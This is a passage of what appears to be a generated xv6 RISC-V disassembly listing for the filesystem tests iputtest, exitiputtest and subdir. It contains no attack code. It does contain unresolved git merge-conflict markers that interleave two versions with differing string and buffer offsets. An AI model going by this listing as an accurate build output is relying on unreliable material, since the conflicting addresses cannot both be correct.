printf("%s: open 12345678901234/12345678901234/12345678901234 failed\n", s);
2a00: 85a6 mv a1,s1
2a02: 00004517 auipc a0,0x4
2a06: 2c650513 addi a0,a0,710 # 6cc8 <l_free+0x1262>
2a0a: 00003097 auipc ra,0x3
2a0e: e3a080e7 jalr -454(ra) # 5844 <printf>
exit(1);
2a12: 4505 li a0,1
2a14: 00003097 auipc ra,0x3
2a18: ab8080e7 jalr -1352(ra) # 54cc <exit>
printf("%s: mkdir 12345678901234/12345678901234 succeeded!\n", s);
2a1c: 85a6 mv a1,s1
2a1e: 00004517 auipc a0,0x4
2a22: 30a50513 addi a0,a0,778 # 6d28 <l_free+0x12c2>
2a26: 00003097 auipc ra,0x3
2a2a: e1e080e7 jalr -482(ra) # 5844 <printf>
exit(1);
2a2e: 4505 li a0,1
2a30: 00003097 auipc ra,0x3
2a34: a9c080e7 jalr -1380(ra) # 54cc <exit>
printf("%s: mkdir 12345678901234/123456789012345 succeeded!\n", s);
2a38: 85a6 mv a1,s1
2a3a: 00004517 auipc a0,0x4
2a3e: 34650513 addi a0,a0,838 # 6d80 <l_free+0x131a>
2a42: 00003097 auipc ra,0x3
2a46: e02080e7 jalr -510(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2a4a: 4505 li a0,1
2a4c: 00003097 auipc ra,0x3
2a50: a80080e7 jalr -1408(ra) # 54cc <exit>
0000000000002a54 <iputtest>:
<<<<<<< HEAD
=======
void iputtest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2a54: 1101 addi sp,sp,-32
2a56: ec06 sd ra,24(sp)
2a58: e822 sd s0,16(sp)
2a5a: e426 sd s1,8(sp)
2a5c: 1000 addi s0,sp,32
2a5e: 84aa mv s1,a0
<<<<<<< HEAD
2a60: 00004517 auipc a0,0x4
2a64: 35850513 addi a0,a0,856 # 6db8 <l_free+0x1350>
2a68: 00003097 auipc ra,0x3
2a6c: acc080e7 jalr -1332(ra) # 5534 <mkdir>
2a70: 04054563 bltz a0,2aba <iputtest+0x66>
2a74: 00004517 auipc a0,0x4
2a78: 34450513 addi a0,a0,836 # 6db8 <l_free+0x1350>
2a7c: 00003097 auipc ra,0x3
2a80: ac0080e7 jalr -1344(ra) # 553c <chdir>
2a84: 04054963 bltz a0,2ad6 <iputtest+0x82>
2a88: 00004517 auipc a0,0x4
2a8c: 37050513 addi a0,a0,880 # 6df8 <l_free+0x1390>
2a90: 00003097 auipc ra,0x3
2a94: a8c080e7 jalr -1396(ra) # 551c <unlink>
2a98: 04054d63 bltz a0,2af2 <iputtest+0x9e>
2a9c: 00004517 auipc a0,0x4
2aa0: 38c50513 addi a0,a0,908 # 6e28 <l_free+0x13c0>
2aa4: 00003097 auipc ra,0x3
2aa8: a98080e7 jalr -1384(ra) # 553c <chdir>
2aac: 06054163 bltz a0,2b0e <iputtest+0xba>
=======
if (mkdir("iputdir") < 0) {
2a60: 00004517 auipc a0,0x4
2a64: 35850513 addi a0,a0,856 # 6db8 <l_free+0x1352>
2a68: 00003097 auipc ra,0x3
2a6c: acc080e7 jalr -1332(ra) # 5534 <mkdir>
2a70: 04054563 bltz a0,2aba <iputtest+0x66>
if (chdir("iputdir") < 0) {
2a74: 00004517 auipc a0,0x4
2a78: 34450513 addi a0,a0,836 # 6db8 <l_free+0x1352>
2a7c: 00003097 auipc ra,0x3
2a80: ac0080e7 jalr -1344(ra) # 553c <chdir>
2a84: 04054963 bltz a0,2ad6 <iputtest+0x82>
if (unlink("../iputdir") < 0) {
2a88: 00004517 auipc a0,0x4
2a8c: 37050513 addi a0,a0,880 # 6df8 <l_free+0x1392>
2a90: 00003097 auipc ra,0x3
2a94: a8c080e7 jalr -1396(ra) # 551c <unlink>
2a98: 04054d63 bltz a0,2af2 <iputtest+0x9e>
if (chdir("/") < 0) {
2a9c: 00004517 auipc a0,0x4
2aa0: 38c50513 addi a0,a0,908 # 6e28 <l_free+0x13c2>
2aa4: 00003097 auipc ra,0x3
2aa8: a98080e7 jalr -1384(ra) # 553c <chdir>
2aac: 06054163 bltz a0,2b0e <iputtest+0xba>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2ab0: 60e2 ld ra,24(sp)
2ab2: 6442 ld s0,16(sp)
2ab4: 64a2 ld s1,8(sp)
2ab6: 6105 addi sp,sp,32
2ab8: 8082 ret
<<<<<<< HEAD
2aba: 85a6 mv a1,s1
2abc: 00004517 auipc a0,0x4
2ac0: 30450513 addi a0,a0,772 # 6dc0 <l_free+0x1358>
2ac4: 00003097 auipc ra,0x3
2ac8: d82080e7 jalr -638(ra) # 5846 <printf>
2acc: 4505 li a0,1
2ace: 00003097 auipc ra,0x3
2ad2: 9fe080e7 jalr -1538(ra) # 54cc <exit>
2ad6: 85a6 mv a1,s1
2ad8: 00004517 auipc a0,0x4
2adc: 30050513 addi a0,a0,768 # 6dd8 <l_free+0x1370>
2ae0: 00003097 auipc ra,0x3
2ae4: d66080e7 jalr -666(ra) # 5846 <printf>
2ae8: 4505 li a0,1
2aea: 00003097 auipc ra,0x3
2aee: 9e2080e7 jalr -1566(ra) # 54cc <exit>
2af2: 85a6 mv a1,s1
2af4: 00004517 auipc a0,0x4
2af8: 31450513 addi a0,a0,788 # 6e08 <l_free+0x13a0>
2afc: 00003097 auipc ra,0x3
2b00: d4a080e7 jalr -694(ra) # 5846 <printf>
2b04: 4505 li a0,1
2b06: 00003097 auipc ra,0x3
2b0a: 9c6080e7 jalr -1594(ra) # 54cc <exit>
2b0e: 85a6 mv a1,s1
2b10: 00004517 auipc a0,0x4
2b14: 32050513 addi a0,a0,800 # 6e30 <l_free+0x13c8>
2b18: 00003097 auipc ra,0x3
2b1c: d2e080e7 jalr -722(ra) # 5846 <printf>
=======
printf("%s: mkdir failed\n", s);
2aba: 85a6 mv a1,s1
2abc: 00004517 auipc a0,0x4
2ac0: 30450513 addi a0,a0,772 # 6dc0 <l_free+0x135a>
2ac4: 00003097 auipc ra,0x3
2ac8: d80080e7 jalr -640(ra) # 5844 <printf>
exit(1);
2acc: 4505 li a0,1
2ace: 00003097 auipc ra,0x3
2ad2: 9fe080e7 jalr -1538(ra) # 54cc <exit>
printf("%s: chdir iputdir failed\n", s);
2ad6: 85a6 mv a1,s1
2ad8: 00004517 auipc a0,0x4
2adc: 30050513 addi a0,a0,768 # 6dd8 <l_free+0x1372>
2ae0: 00003097 auipc ra,0x3
2ae4: d64080e7 jalr -668(ra) # 5844 <printf>
exit(1);
2ae8: 4505 li a0,1
2aea: 00003097 auipc ra,0x3
2aee: 9e2080e7 jalr -1566(ra) # 54cc <exit>
printf("%s: unlink ../iputdir failed\n", s);
2af2: 85a6 mv a1,s1
2af4: 00004517 auipc a0,0x4
2af8: 31450513 addi a0,a0,788 # 6e08 <l_free+0x13a2>
2afc: 00003097 auipc ra,0x3
2b00: d48080e7 jalr -696(ra) # 5844 <printf>
exit(1);
2b04: 4505 li a0,1
2b06: 00003097 auipc ra,0x3
2b0a: 9c6080e7 jalr -1594(ra) # 54cc <exit>
printf("%s: chdir / failed\n", s);
2b0e: 85a6 mv a1,s1
2b10: 00004517 auipc a0,0x4
2b14: 32050513 addi a0,a0,800 # 6e30 <l_free+0x13ca>
2b18: 00003097 auipc ra,0x3
2b1c: d2c080e7 jalr -724(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2b20: 4505 li a0,1
2b22: 00003097 auipc ra,0x3
2b26: 9aa080e7 jalr -1622(ra) # 54cc <exit>
0000000000002b2a <exitiputtest>:
<<<<<<< HEAD
=======
void exitiputtest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2b2a: 7179 addi sp,sp,-48
2b2c: f406 sd ra,40(sp)
2b2e: f022 sd s0,32(sp)
2b30: ec26 sd s1,24(sp)
2b32: 1800 addi s0,sp,48
2b34: 84aa mv s1,a0
<<<<<<< HEAD
2b36: 00003097 auipc ra,0x3
2b3a: 98e080e7 jalr -1650(ra) # 54c4 <fork>
2b3e: 04054663 bltz a0,2b8a <exitiputtest+0x60>
2b42: ed45 bnez a0,2bfa <exitiputtest+0xd0>
2b44: 00004517 auipc a0,0x4
2b48: 27450513 addi a0,a0,628 # 6db8 <l_free+0x1350>
2b4c: 00003097 auipc ra,0x3
2b50: 9e8080e7 jalr -1560(ra) # 5534 <mkdir>
2b54: 04054963 bltz a0,2ba6 <exitiputtest+0x7c>
2b58: 00004517 auipc a0,0x4
2b5c: 26050513 addi a0,a0,608 # 6db8 <l_free+0x1350>
2b60: 00003097 auipc ra,0x3
2b64: 9dc080e7 jalr -1572(ra) # 553c <chdir>
2b68: 04054d63 bltz a0,2bc2 <exitiputtest+0x98>
2b6c: 00004517 auipc a0,0x4
2b70: 28c50513 addi a0,a0,652 # 6df8 <l_free+0x1390>
2b74: 00003097 auipc ra,0x3
2b78: 9a8080e7 jalr -1624(ra) # 551c <unlink>
2b7c: 06054163 bltz a0,2bde <exitiputtest+0xb4>
2b80: 4501 li a0,0
2b82: 00003097 auipc ra,0x3
2b86: 94a080e7 jalr -1718(ra) # 54cc <exit>
2b8a: 85a6 mv a1,s1
2b8c: 00004517 auipc a0,0x4
2b90: 9a450513 addi a0,a0,-1628 # 6530 <l_free+0xac8>
2b94: 00003097 auipc ra,0x3
2b98: cb2080e7 jalr -846(ra) # 5846 <printf>
2b9c: 4505 li a0,1
2b9e: 00003097 auipc ra,0x3
2ba2: 92e080e7 jalr -1746(ra) # 54cc <exit>
2ba6: 85a6 mv a1,s1
2ba8: 00004517 auipc a0,0x4
2bac: 21850513 addi a0,a0,536 # 6dc0 <l_free+0x1358>
2bb0: 00003097 auipc ra,0x3
2bb4: c96080e7 jalr -874(ra) # 5846 <printf>
2bb8: 4505 li a0,1
2bba: 00003097 auipc ra,0x3
2bbe: 912080e7 jalr -1774(ra) # 54cc <exit>
2bc2: 85a6 mv a1,s1
2bc4: 00004517 auipc a0,0x4
2bc8: 28450513 addi a0,a0,644 # 6e48 <l_free+0x13e0>
2bcc: 00003097 auipc ra,0x3
2bd0: c7a080e7 jalr -902(ra) # 5846 <printf>
2bd4: 4505 li a0,1
2bd6: 00003097 auipc ra,0x3
2bda: 8f6080e7 jalr -1802(ra) # 54cc <exit>
2bde: 85a6 mv a1,s1
2be0: 00004517 auipc a0,0x4
2be4: 22850513 addi a0,a0,552 # 6e08 <l_free+0x13a0>
2be8: 00003097 auipc ra,0x3
2bec: c5e080e7 jalr -930(ra) # 5846 <printf>
2bf0: 4505 li a0,1
2bf2: 00003097 auipc ra,0x3
2bf6: 8da080e7 jalr -1830(ra) # 54cc <exit>
2bfa: fdc40513 addi a0,s0,-36
2bfe: 00003097 auipc ra,0x3
2c02: 8d6080e7 jalr -1834(ra) # 54d4 <wait>
=======
pid = fork();
2b36: 00003097 auipc ra,0x3
2b3a: 98e080e7 jalr -1650(ra) # 54c4 <fork>
if (pid < 0) {
2b3e: 04054663 bltz a0,2b8a <exitiputtest+0x60>
if (pid == 0) {
2b42: ed45 bnez a0,2bfa <exitiputtest+0xd0>
if (mkdir("iputdir") < 0) {
2b44: 00004517 auipc a0,0x4
2b48: 27450513 addi a0,a0,628 # 6db8 <l_free+0x1352>
2b4c: 00003097 auipc ra,0x3
2b50: 9e8080e7 jalr -1560(ra) # 5534 <mkdir>
2b54: 04054963 bltz a0,2ba6 <exitiputtest+0x7c>
if (chdir("iputdir") < 0) {
2b58: 00004517 auipc a0,0x4
2b5c: 26050513 addi a0,a0,608 # 6db8 <l_free+0x1352>
2b60: 00003097 auipc ra,0x3
2b64: 9dc080e7 jalr -1572(ra) # 553c <chdir>
2b68: 04054d63 bltz a0,2bc2 <exitiputtest+0x98>
if (unlink("../iputdir") < 0) {
2b6c: 00004517 auipc a0,0x4
2b70: 28c50513 addi a0,a0,652 # 6df8 <l_free+0x1392>
2b74: 00003097 auipc ra,0x3
2b78: 9a8080e7 jalr -1624(ra) # 551c <unlink>
2b7c: 06054163 bltz a0,2bde <exitiputtest+0xb4>
exit(0);
2b80: 4501 li a0,0
2b82: 00003097 auipc ra,0x3
2b86: 94a080e7 jalr -1718(ra) # 54cc <exit>
printf("%s: fork failed\n", s);
2b8a: 85a6 mv a1,s1
2b8c: 00004517 auipc a0,0x4
2b90: 9a450513 addi a0,a0,-1628 # 6530 <l_free+0xaca>
2b94: 00003097 auipc ra,0x3
2b98: cb0080e7 jalr -848(ra) # 5844 <printf>
exit(1);
2b9c: 4505 li a0,1
2b9e: 00003097 auipc ra,0x3
2ba2: 92e080e7 jalr -1746(ra) # 54cc <exit>
printf("%s: mkdir failed\n", s);
2ba6: 85a6 mv a1,s1
2ba8: 00004517 auipc a0,0x4
2bac: 21850513 addi a0,a0,536 # 6dc0 <l_free+0x135a>
2bb0: 00003097 auipc ra,0x3
2bb4: c94080e7 jalr -876(ra) # 5844 <printf>
exit(1);
2bb8: 4505 li a0,1
2bba: 00003097 auipc ra,0x3
2bbe: 912080e7 jalr -1774(ra) # 54cc <exit>
printf("%s: child chdir failed\n", s);
2bc2: 85a6 mv a1,s1
2bc4: 00004517 auipc a0,0x4
2bc8: 28450513 addi a0,a0,644 # 6e48 <l_free+0x13e2>
2bcc: 00003097 auipc ra,0x3
2bd0: c78080e7 jalr -904(ra) # 5844 <printf>
exit(1);
2bd4: 4505 li a0,1
2bd6: 00003097 auipc ra,0x3
2bda: 8f6080e7 jalr -1802(ra) # 54cc <exit>
printf("%s: unlink ../iputdir failed\n", s);
2bde: 85a6 mv a1,s1
2be0: 00004517 auipc a0,0x4
2be4: 22850513 addi a0,a0,552 # 6e08 <l_free+0x13a2>
2be8: 00003097 auipc ra,0x3
2bec: c5c080e7 jalr -932(ra) # 5844 <printf>
exit(1);
2bf0: 4505 li a0,1
2bf2: 00003097 auipc ra,0x3
2bf6: 8da080e7 jalr -1830(ra) # 54cc <exit>
wait(&xstatus);
2bfa: fdc40513 addi a0,s0,-36
2bfe: 00003097 auipc ra,0x3
2c02: 8d6080e7 jalr -1834(ra) # 54d4 <wait>
exit(xstatus);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2c06: fdc42503 lw a0,-36(s0)
2c0a: 00003097 auipc ra,0x3
2c0e: 8c2080e7 jalr -1854(ra) # 54cc <exit>
0000000000002c12 <subdir>:
<<<<<<< HEAD
=======
void subdir(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2c12: 1101 addi sp,sp,-32
2c14: ec06 sd ra,24(sp)
2c16: e822 sd s0,16(sp)
2c18: e426 sd s1,8(sp)
2c1a: e04a sd s2,0(sp)
2c1c: 1000 addi s0,sp,32
2c1e: 892a mv s2,a0
<<<<<<< HEAD
2c20: 00004517 auipc a0,0x4
2c24: 37050513 addi a0,a0,880 # 6f90 <l_free+0x1528>
2c28: 00003097 auipc ra,0x3
2c2c: 8f4080e7 jalr -1804(ra) # 551c <unlink>
2c30: 00004517 auipc a0,0x4
2c34: 23050513 addi a0,a0,560 # 6e60 <l_free+0x13f8>
2c38: 00003097 auipc ra,0x3
2c3c: 8fc080e7 jalr -1796(ra) # 5534 <mkdir>
2c40: 38051663 bnez a0,2fcc <subdir+0x3ba>
2c44: 20200593 li a1,514
2c48: 00004517 auipc a0,0x4
2c4c: 23850513 addi a0,a0,568 # 6e80 <l_free+0x1418>
2c50: 00003097 auipc ra,0x3
2c54: 8bc080e7 jalr -1860(ra) # 550c <open>
2c58: 84aa mv s1,a0
2c5a: 38054763 bltz a0,2fe8 <subdir+0x3d6>
2c5e: 4609 li a2,2
2c60: 00004597 auipc a1,0x4
2c64: 33058593 addi a1,a1,816 # 6f90 <l_free+0x1528>
2c68: 00003097 auipc ra,0x3
2c6c: 884080e7 jalr -1916(ra) # 54ec <write>
2c70: 8526 mv a0,s1
2c72: 00003097 auipc ra,0x3
2c76: 882080e7 jalr -1918(ra) # 54f4 <close>
2c7a: 00004517 auipc a0,0x4
2c7e: 1e650513 addi a0,a0,486 # 6e60 <l_free+0x13f8>
2c82: 00003097 auipc ra,0x3
2c86: 89a080e7 jalr -1894(ra) # 551c <unlink>
2c8a: 36055d63 bgez a0,3004 <subdir+0x3f2>
2c8e: 00004517 auipc a0,0x4
2c92: 24a50513 addi a0,a0,586 # 6ed8 <l_free+0x1470>
2c96: 00003097 auipc ra,0x3
2c9a: 89e080e7 jalr -1890(ra) # 5534 <mkdir>
2c9e: 38051163 bnez a0,3020 <subdir+0x40e>
2ca2: 20200593 li a1,514
2ca6: 00004517 auipc a0,0x4
2caa: 25a50513 addi a0,a0,602 # 6f00 <l_free+0x1498>
2cae: 00003097 auipc ra,0x3
2cb2: 85e080e7 jalr -1954(ra) # 550c <open>
2cb6: 84aa mv s1,a0
2cb8: 38054263 bltz a0,303c <subdir+0x42a>
2cbc: 4609 li a2,2
2cbe: 00004597 auipc a1,0x4
2cc2: 27258593 addi a1,a1,626 # 6f30 <l_free+0x14c8>
2cc6: 00003097 auipc ra,0x3
2cca: 826080e7 jalr -2010(ra) # 54ec <write>
2cce: 8526 mv a0,s1
2cd0: 00003097 auipc ra,0x3
2cd4: 824080e7 jalr -2012(ra) # 54f4 <close>
2cd8: 4581 li a1,0
2cda: 00004517 auipc a0,0x4
2cde: 25e50513 addi a0,a0,606 # 6f38 <l_free+0x14d0>
2ce2: 00003097 auipc ra,0x3
2ce6: 82a080e7 jalr -2006(ra) # 550c <open>
2cea: 84aa mv s1,a0
2cec: 36054663 bltz a0,3058 <subdir+0x446>
2cf0: 660d lui a2,0x3
2cf2: 00009597 auipc a1,0x9
2cf6: d1e58593 addi a1,a1,-738 # ba10 <buf>
2cfa: 00002097 auipc ra,0x2
2cfe: 7ea080e7 jalr 2026(ra) # 54e4 <read>
2d02: 4789 li a5,2
2d04: 36f51863 bne a0,a5,3074 <subdir+0x462>
2d08: 00009717 auipc a4,0x9
2d0c: d0874703 lbu a4,-760(a4) # ba10 <buf>
2d10: 06600793 li a5,102
2d14: 36f71063 bne a4,a5,3074 <subdir+0x462>
2d18: 8526 mv a0,s1
2d1a: 00002097 auipc ra,0x2
2d1e: 7da080e7 jalr 2010(ra) # 54f4 <close>
2d22: 00004597 auipc a1,0x4
2d26: 26658593 addi a1,a1,614 # 6f88 <l_free+0x1520>
2d2a: 00004517 auipc a0,0x4
2d2e: 1d650513 addi a0,a0,470 # 6f00 <l_free+0x1498>
2d32: 00002097 auipc ra,0x2
2d36: 7fa080e7 jalr 2042(ra) # 552c <link>
2d3a: 34051b63 bnez a0,3090 <subdir+0x47e>
2d3e: 00004517 auipc a0,0x4
2d42: 1c250513 addi a0,a0,450 # 6f00 <l_free+0x1498>
2d46: 00002097 auipc ra,0x2
2d4a: 7d6080e7 jalr 2006(ra) # 551c <unlink>
2d4e: 34051f63 bnez a0,30ac <subdir+0x49a>
2d52: 4581 li a1,0
2d54: 00004517 auipc a0,0x4
2d58: 1ac50513 addi a0,a0,428 # 6f00 <l_free+0x1498>
2d5c: 00002097 auipc ra,0x2
2d60: 7b0080e7 jalr 1968(ra) # 550c <open>
2d64: 36055263 bgez a0,30c8 <subdir+0x4b6>
2d68: 00004517 auipc a0,0x4
2d6c: 0f850513 addi a0,a0,248 # 6e60 <l_free+0x13f8>
2d70: 00002097 auipc ra,0x2
2d74: 7cc080e7 jalr 1996(ra) # 553c <chdir>
2d78: 36051663 bnez a0,30e4 <subdir+0x4d2>
2d7c: 00004517 auipc a0,0x4
2d80: 2a450513 addi a0,a0,676 # 7020 <l_free+0x15b8>
2d84: 00002097 auipc ra,0x2
2d88: 7b8080e7 jalr 1976(ra) # 553c <chdir>
2d8c: 36051a63 bnez a0,3100 <subdir+0x4ee>
2d90: 00004517 auipc a0,0x4
2d94: 2c050513 addi a0,a0,704 # 7050 <l_free+0x15e8>
2d98: 00002097 auipc ra,0x2
2d9c: 7a4080e7 jalr 1956(ra) # 553c <chdir>
2da0: 36051e63 bnez a0,311c <subdir+0x50a>
2da4: 00004517 auipc a0,0x4
2da8: 2dc50513 addi a0,a0,732 # 7080 <l_free+0x1618>
2dac: 00002097 auipc ra,0x2
2db0: 790080e7 jalr 1936(ra) # 553c <chdir>
2db4: 38051263 bnez a0,3138 <subdir+0x526>
2db8: 4581 li a1,0
2dba: 00004517 auipc a0,0x4
2dbe: 1ce50513 addi a0,a0,462 # 6f88 <l_free+0x1520>
2dc2: 00002097 auipc ra,0x2
2dc6: 74a080e7 jalr 1866(ra) # 550c <open>
2dca: 84aa mv s1,a0
2dcc: 38054463 bltz a0,3154 <subdir+0x542>
2dd0: 660d lui a2,0x3
2dd2: 00009597 auipc a1,0x9
2dd6: c3e58593 addi a1,a1,-962 # ba10 <buf>
=======
unlink("ff");
2c20: 00004517 auipc a0,0x4
2c24: 37050513 addi a0,a0,880 # 6f90 <l_free+0x152a>
2c28: 00003097 auipc ra,0x3
2c2c: 8f4080e7 jalr -1804(ra) # 551c <unlink>
if (mkdir("dd") != 0) {
2c30: 00004517 auipc a0,0x4
2c34: 23050513 addi a0,a0,560 # 6e60 <l_free+0x13fa>
2c38: 00003097 auipc ra,0x3
2c3c: 8fc080e7 jalr -1796(ra) # 5534 <mkdir>
2c40: 38051663 bnez a0,2fcc <subdir+0x3ba>
fd = open("dd/ff", O_CREATE | O_RDWR);
2c44: 20200593 li a1,514
2c48: 00004517 auipc a0,0x4
2c4c: 23850513 addi a0,a0,568 # 6e80 <l_free+0x141a>
2c50: 00003097 auipc ra,0x3
2c54: 8bc080e7 jalr -1860(ra) # 550c <open>
2c58: 84aa mv s1,a0
if (fd < 0) {
2c5a: 38054763 bltz a0,2fe8 <subdir+0x3d6>
write(fd, "ff", 2);
2c5e: 4609 li a2,2
2c60: 00004597 auipc a1,0x4
2c64: 33058593 addi a1,a1,816 # 6f90 <l_free+0x152a>
2c68: 00003097 auipc ra,0x3
2c6c: 884080e7 jalr -1916(ra) # 54ec <write>
close(fd);
2c70: 8526 mv a0,s1
2c72: 00003097 auipc ra,0x3
2c76: 882080e7 jalr -1918(ra) # 54f4 <close>
if (unlink("dd") >= 0) {
2c7a: 00004517 auipc a0,0x4
2c7e: 1e650513 addi a0,a0,486 # 6e60 <l_free+0x13fa>
2c82: 00003097 auipc ra,0x3
2c86: 89a080e7 jalr -1894(ra) # 551c <unlink>
2c8a: 36055d63 bgez a0,3004 <subdir+0x3f2>
if (mkdir("/dd/dd") != 0) {
2c8e: 00004517 auipc a0,0x4
2c92: 24a50513 addi a0,a0,586 # 6ed8 <l_free+0x1472>
2c96: 00003097 auipc ra,0x3
2c9a: 89e080e7 jalr -1890(ra) # 5534 <mkdir>
2c9e: 38051163 bnez a0,3020 <subdir+0x40e>
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
2ca2: 20200593 li a1,514
2ca6: 00004517 auipc a0,0x4
2caa: 25a50513 addi a0,a0,602 # 6f00 <l_free+0x149a>
2cae: 00003097 auipc ra,0x3
2cb2: 85e080e7 jalr -1954(ra) # 550c <open>
2cb6: 84aa mv s1,a0
if (fd < 0) {
2cb8: 38054263 bltz a0,303c <subdir+0x42a>
write(fd, "FF", 2);
2cbc: 4609 li a2,2
2cbe: 00004597 auipc a1,0x4
2cc2: 27258593 addi a1,a1,626 # 6f30 <l_free+0x14ca>
2cc6: 00003097 auipc ra,0x3
2cca: 826080e7 jalr -2010(ra) # 54ec <write>
close(fd);
2cce: 8526 mv a0,s1
2cd0: 00003097 auipc ra,0x3
2cd4: 824080e7 jalr -2012(ra) # 54f4 <close>
fd = open("dd/dd/../ff", 0);
2cd8: 4581 li a1,0
2cda: 00004517 auipc a0,0x4
2cde: 25e50513 addi a0,a0,606 # 6f38 <l_free+0x14d2>
2ce2: 00003097 auipc ra,0x3
2ce6: 82a080e7 jalr -2006(ra) # 550c <open>
2cea: 84aa mv s1,a0
if (fd < 0) {
2cec: 36054663 bltz a0,3058 <subdir+0x446>
cc = read(fd, buf, sizeof(buf));
2cf0: 660d lui a2,0x3
2cf2: 00009597 auipc a1,0x9
2cf6: cc658593 addi a1,a1,-826 # b9b8 <buf>
2cfa: 00002097 auipc ra,0x2
2cfe: 7ea080e7 jalr 2026(ra) # 54e4 <read>
if (cc != 2 || buf[0] != 'f') {
2d02: 4789 li a5,2
2d04: 36f51863 bne a0,a5,3074 <subdir+0x462>
2d08: 00009717 auipc a4,0x9
2d0c: cb074703 lbu a4,-848(a4) # b9b8 <buf>
2d10: 06600793 li a5,102
2d14: 36f71063 bne a4,a5,3074 <subdir+0x462>
close(fd);
2d18: 8526 mv a0,s1
2d1a: 00002097 auipc ra,0x2
2d1e: 7da080e7 jalr 2010(ra) # 54f4 <close>
if (link("dd/dd/ff", "dd/dd/ffff") != 0) {
2d22: 00004597 auipc a1,0x4
2d26: 26658593 addi a1,a1,614 # 6f88 <l_free+0x1522>
2d2a: 00004517 auipc a0,0x4
2d2e: 1d650513 addi a0,a0,470 # 6f00 <l_free+0x149a>
2d32: 00002097 auipc ra,0x2
2d36: 7fa080e7 jalr 2042(ra) # 552c <link>
2d3a: 34051b63 bnez a0,3090 <subdir+0x47e>
if (unlink("dd/dd/ff") != 0) {
2d3e: 00004517 auipc a0,0x4
2d42: 1c250513 addi a0,a0,450 # 6f00 <l_free+0x149a>
2d46: 00002097 auipc ra,0x2
2d4a: 7d6080e7 jalr 2006(ra) # 551c <unlink>
2d4e: 34051f63 bnez a0,30ac <subdir+0x49a>
if (open("dd/dd/ff", O_RDONLY) >= 0) {
2d52: 4581 li a1,0
2d54: 00004517 auipc a0,0x4
2d58: 1ac50513 addi a0,a0,428 # 6f00 <l_free+0x149a>
2d5c: 00002097 auipc ra,0x2
2d60: 7b0080e7 jalr 1968(ra) # 550c <open>
2d64: 36055263 bgez a0,30c8 <subdir+0x4b6>
if (chdir("dd") != 0) {
2d68: 00004517 auipc a0,0x4
2d6c: 0f850513 addi a0,a0,248 # 6e60 <l_free+0x13fa>
2d70: 00002097 auipc ra,0x2
2d74: 7cc080e7 jalr 1996(ra) # 553c <chdir>
2d78: 36051663 bnez a0,30e4 <subdir+0x4d2>
if (chdir("dd/../../dd") != 0) {
2d7c: 00004517 auipc a0,0x4
2d80: 2a450513 addi a0,a0,676 # 7020 <l_free+0x15ba>
2d84: 00002097 auipc ra,0x2
2d88: 7b8080e7 jalr 1976(ra) # 553c <chdir>
2d8c: 36051a63 bnez a0,3100 <subdir+0x4ee>
if (chdir("dd/../../../dd") != 0) {
2d90: 00004517 auipc a0,0x4
2d94: 2c050513 addi a0,a0,704 # 7050 <l_free+0x15ea>
2d98: 00002097 auipc ra,0x2
2d9c: 7a4080e7 jalr 1956(ra) # 553c <chdir>
2da0: 36051e63 bnez a0,311c <subdir+0x50a>
if (chdir("./..") != 0) {
2da4: 00004517 auipc a0,0x4
2da8: 2dc50513 addi a0,a0,732 # 7080 <l_free+0x161a>
2dac: 00002097 auipc ra,0x2
2db0: 790080e7 jalr 1936(ra) # 553c <chdir>
2db4: 38051263 bnez a0,3138 <subdir+0x526>
fd = open("dd/dd/ffff", 0);
2db8: 4581 li a1,0
2dba: 00004517 auipc a0,0x4
2dbe: 1ce50513 addi a0,a0,462 # 6f88 <l_free+0x1522>
2dc2: 00002097 auipc ra,0x2
2dc6: 74a080e7 jalr 1866(ra) # 550c <open>
2dca: 84aa mv s1,a0
if (fd < 0) {
2dcc: 38054463 bltz a0,3154 <subdir+0x542>
if (read(fd, buf, sizeof(buf)) != 2) {
2dd0: 660d lui a2,0x3
2dd2: 00009597 auipc a1,0x9
2dd6: be658593 addi a1,a1,-1050 # b9b8 <buf>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2dda: 00002097 auipc ra,0x2
2dde: 70a080e7 jalr 1802(ra) # 54e4 <read>
2de2: 4789 li a5,2
2de4: 38f51663 bne a0,a5,3170 <subdir+0x55e>
<<<<<<< HEAD
2de8: 8526 mv a0,s1
2dea: 00002097 auipc ra,0x2
2dee: 70a080e7 jalr 1802(ra) # 54f4 <close>
2df2: 4581 li a1,0
2df4: 00004517 auipc a0,0x4
2df8: 10c50513 addi a0,a0,268 # 6f00 <l_free+0x1498>
2dfc: 00002097 auipc ra,0x2
2e00: 710080e7 jalr 1808(ra) # 550c <open>
2e04: 38055463 bgez a0,318c <subdir+0x57a>
2e08: 20200593 li a1,514
2e0c: 00004517 auipc a0,0x4
2e10: 30450513 addi a0,a0,772 # 7110 <l_free+0x16a8>
2e14: 00002097 auipc ra,0x2
2e18: 6f8080e7 jalr 1784(ra) # 550c <open>
2e1c: 38055663 bgez a0,31a8 <subdir+0x596>
2e20: 20200593 li a1,514
2e24: 00004517 auipc a0,0x4
2e28: 31c50513 addi a0,a0,796 # 7140 <l_free+0x16d8>
2e2c: 00002097 auipc ra,0x2
2e30: 6e0080e7 jalr 1760(ra) # 550c <open>
2e34: 38055863 bgez a0,31c4 <subdir+0x5b2>
2e38: 20000593 li a1,512
2e3c: 00004517 auipc a0,0x4
2e40: 02450513 addi a0,a0,36 # 6e60 <l_free+0x13f8>
2e44: 00002097 auipc ra,0x2
2e48: 6c8080e7 jalr 1736(ra) # 550c <open>
2e4c: 38055a63 bgez a0,31e0 <subdir+0x5ce>
2e50: 4589 li a1,2
2e52: 00004517 auipc a0,0x4
2e56: 00e50513 addi a0,a0,14 # 6e60 <l_free+0x13f8>
2e5a: 00002097 auipc ra,0x2
2e5e: 6b2080e7 jalr 1714(ra) # 550c <open>
2e62: 38055d63 bgez a0,31fc <subdir+0x5ea>
2e66: 4585 li a1,1
2e68: 00004517 auipc a0,0x4
2e6c: ff850513 addi a0,a0,-8 # 6e60 <l_free+0x13f8>
2e70: 00002097 auipc ra,0x2
